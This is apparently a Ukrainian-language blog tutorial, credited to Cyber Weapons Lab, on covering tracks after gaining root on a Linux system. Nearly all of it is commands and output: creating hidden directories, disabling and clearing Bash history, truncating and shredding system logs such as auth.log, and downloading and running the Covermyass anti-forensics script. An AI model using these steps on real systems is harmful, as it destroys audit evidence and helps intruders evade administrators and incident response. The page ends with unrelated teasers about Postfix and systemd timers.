Останнім етапом діяльності будь-якого хакера є замітання слідів.
Автор: DRD_, Cyber Weapons Lab
Для демонстрації основ замітання слідів, спочатку скомпрометуємо ціль, а потім вивчимо кілька методів, що використовуються для видалення історії Bash і очищення логів після злому Linux систем.
Крок 1. Скомпроментувати ціль
Перше, що нам слід зробити, – зламати ціль.
Крок 2. Створіть прихований каталог який можна легко видалити
Отримавши root-доступ, ми можемо створити прихований каталог для роботи і зберігати в ньому будь-які скрипти або файли. З одного боку, подібні маніпуляції обдурять лише адміністратора-початківця, але додатковий рівень захисту безумовно не зашкодить. По-перше, давайте знайдемо всі доступні для запису каталоги за допомогою наступної команди:
root@target:/# find / -perm -222 -type d 2>/dev/null /dev/shm /var/lock /var/lib/php5 /var/tmp /var/www/dav /var/www/twiki/data/Sandbox /var/www/twiki/data/Main /var/www/twiki/data/Know /var/www/twiki/data/TWiki /var/www/twiki/data/_default /var/www/twiki/data/Trash /var/www/twiki/pub/Sandbox /var/www/twiki/pub/Main /var/www/twiki/pub/Know /var/www/twiki/pub/Know/IncorrectDllVersionW32PTH10DLL /var/www/twiki/pub/TWiki /var/www/twiki/pub/TWiki/TWikiDocGraphics /var/www/twiki/pub/TWiki/TWikiTemplates /var/www/twiki/pub/TWiki/TWikiLogos /var/www/twiki/pub/TWiki/PreviewBackground /var/www/twiki/pub/TWiki/FileAttachment /var/www/twiki/pub/TWiki/WabiSabi /var/www/twiki/pub/Trash /var/www/twiki/pub/icn /tmp /tmp/.ICE-unix /tmp/.X11-unix За допомогою команди mkdir можна створити прихований каталог, додавши крапку до імені:
root@target:/# mkdir /dev/shm/.secret
Задамо команду перерахування вмісту /dev/shm. Як бачимо, нічого не з’явилося:
root@target:/# ls -l /dev/shm/ total 0
Каталог з’являється лише тоді, коли ми використовуємо ключ “-a” для виведення списку всіх файлів і каталогів:
root@target:/# ls -la /dev/shm/ total 0 drwxrwxrwt 3 root root 60 2019-06-19 13:49 . drwxr-xr-x 13 root root 13480 2019-06-19 13:41 .. drwxr-xr-x 2 root root 40 2019-06-19 13:49 .secret
Для видалення каталогу після завершення роботи на машині, використовуйте команду rmdir:
root@target:/# rmdir /dev/shm/.secret/
Крок 3. Видаліть історію Bash
Bash зберігає в пам’яті список команд, які використовуються в поточному сеансі, тому його обов’язково потрібно очистити, щоб замести сліди. Переглянемо поточну історію за допомогою команди history:
root@target:/# history 1 cd / 2 ls 3 find / -perm -222 -type d 2>/dev/null 4 cd /dev/shm/ 5 cd / 6 mkdir /dev/shm/.secret 7 ls -l /dev/shm/ 8 ls -la /dev/shm/ 9 ls 10 rmdir /dev/shm/.secret/ 11 history
Команди записуються у файл шлях до якого міститься в змінній середовища HISTFILE, зазвичай це .bash_history. Скористаємося echo для визначення місця розташування:
root@target:/# echo $HISTFILE /root/.bash_history
Використовуємо команду unset для видалення змінної:
root@target:/# unset HISTFILE
Повторивши процедуру знову, бачимо, що нічого не з’являється:
root@target:/# echo $HISTFILE
Щоб історія команд не зберігалася, також можна її відправити в /dev/null. Для цього встановіть змінну:
root@target:/# HISTFILE=/dev/null
Або зробіть те ж саме з командою експорту:
root@target:/# export HISTFILE=/dev/null
Історія тепер буде відправлена в /dev/null (тобто нікуди):
root@target:/# echo $HISTFILE /dev/null
Встановіть кількість команд, які будуть зберігатися під час поточного сеансу, рівним 0, використовуючи змінну HISTSIZE:
root@target:/# HISTSIZE=0
В якості альтернативи використовуйте команду експорту:
root@target:/# export HISTSIZE=0
Змініть кількість рядків, дозволених в файлі історії, за допомогою змінної HISTFILESIZE. Встановіть це значення на 0:
root@target:/# HISTFILESIZE=0
Або з експортом:
root@target:/# export HISTFILESIZE=0
Для зміни параметрів оболонки також можна використовувати команду set. Щоб відключити опцію історії, використовуйте наступну команду:
root@target:/# set +o history
Включити:
root@target:/# set -o history
Точно так же для зміни параметрів оболонки можна використовувати команду shopt. Щоб відключити історію, використовуйте наступну команду:
root@target:/# shopt -ou history
Включити:
root@target:/# shopt -os history
Під час виконання команд на цільовій системі іноді виходить уникнути їх збереження в історії, запустивши команду з початкового пробілу:
root@target:~# cat /etc/passwd
Даний метод працює не завжди і залежить від системи. Також можна просто очистити історію за допомогою ключа -c:
root@target:~# history -c
Щоб переконатися, що зміни записані на диск, використовуйте ключ -w:
root@target:~# history -w
Дані дії очистять історію тільки для поточного сеансу. Щоб остаточно переконатися, що історія очищається при виході з сеансу, стане в нагоді наступна команда:
root@target:/# cat /dev/null > ~/.bash_history && history -c && exit
Також можна використовувати команду kill для виходу з сеансу без збереження історії:
root@target:/# kill -9 $$
Шаг4. Очистіть файли журналу
На додаток до історії Bash також потрібно почистити логи, щоб залишатися непоміченими. Ось деякі загальні файли журналів і їх вміст:
- /var/log/auth.log Аутентификация
- /var/log/cron.log Cron задачи
- /var/log/maillog Почта
- /var/log/httpd Apache
Звичайно, можна просто видалити журнал з допомогою команди rm:
root@target:/# rm /var/log/auth.log
Але швидше за все, дана процедура викличе численні червоні прапорці. Тому краще зробити файл порожнім, ніж прати його повністю. Використовуємо команду truncate, щоб зменшити розмір файлу до 0:
root@target:/# truncate -s 0 /var/log/auth.log
Зверніть увагу, функція усікання є не завжди і не у всіх системах.
Те ж саме можна зробити, відображаючи в файл “нічого”:
root@target:/# echo '' > /var/log/auth.log
А також використовувати> сам по собі для очищення файлу:
root@target:/# > /var/log/auth.log
Ми також можемо відправити його в /dev/null:
root@target:/# cat /dev/null > /var/log/auth.log
Або використовувати команду tee:
root@target:/# true | tee /var/log/auth.log
Також можна використовувати команду dd, щоб нічого не записувати в файл журналу:
root@target:/# dd if=/dev/null of=/var/log/auth.log 0+0 records in 0+0 records out 0 bytes (0 B) copied, 6.1494e-05 s, 0.0 kB/s
Команда shred може бути використана, щоб поверх перезаписати файл з безглуздими двійковими даними:
root@target:/# shred /var/log/auth.log
Додатково додавши -zu, ви відріже файл і перезапише його нулями:
root@target:/# shred -zu /var/log/auth.log
Крок 5. Використовуйте спеціальний інструмент для найкращого приховування слідів
Для мінімізації ймовірності вашого виявлення рекомендуємо скористатися спеціальним скриптом. Скрипт Covermyass автоматизує процеси, розглянуті нами раніше, включно з очищенням файлів журналу і відключення історії Bash. Якщо на цільовому пристрої є доступ до Інтернету, можна завантажити скрипт з GitHub за допомогою wget. (В іншому випадку скрипт доведеться перенести вручну):
root@target:/# wget https://raw.githubusercontent.com/sundowndev/covermyass/master/covermyass
Перейдіть в каталог з можливістю запису і використовуйте chmod, щоб зробити його виконуваним:
root@target:/tmp# chmod +x covermyass
Потім запустіть його:
root@target:/tmp# ./covermyass Welcome to Cover my ass tool ! Select an option : 1) Clear logs for user root 2) Permenently disable auth & bash history 3) Restore settings to default 99) Exit tool >
Нам надається настроюється підказка з декількома варіантами на вибір. Виберемо перший, щоб очистити логи:
> 1 [+] /var/log/messages cleaned. [+] /var/log/auth.log cleaned. [+] /var/log/kern.log cleaned. [+] /var/log/wtmp cleaned. [+] ~/.bash_history cleaned. [+] History file deleted. Reminder: your need to reload the session to see effects. Type exit to do so.
Також можна відключити Bash і історію авторизації за допомогою опції 2:
> 2 [+] Permanently sending /var/log/auth.log to /dev/null [+] Permanently sending bash_history to /dev/null [+] Set HISTFILESIZE & HISTSIZE to 0 [+] Disabled history library Permenently disabled bash log.
Якщо вам потрібно терміново все очистити, просто додайте в команду now:
root@target:/tmp# ./covermyass now [+] /var/log/messages cleaned. [+] /var/log/kern.log cleaned. [+] /var/log/wtmp cleaned. [+] ~/.bash_history cleaned. [+] History file deleted. Reminder: your need to reload the session to see effects. Type exit to do so. Першоджерело: https://www.securitylab.ru/analytics/520469.php
Виникло питання підтримки різних сертифікатів для різних доменів. І як виявилось – це можливо. Отож далі приклати конфігурації: Postfix Після запускаємо $ postmap -F hash:/etc/postfix/vmail_ssl.map . . .
Прийшла пора розібратись із таймерами які нам надає Systemd на заміну старій добрій службі Cron. Cron і досі надійно працює в системі але всі системні . . .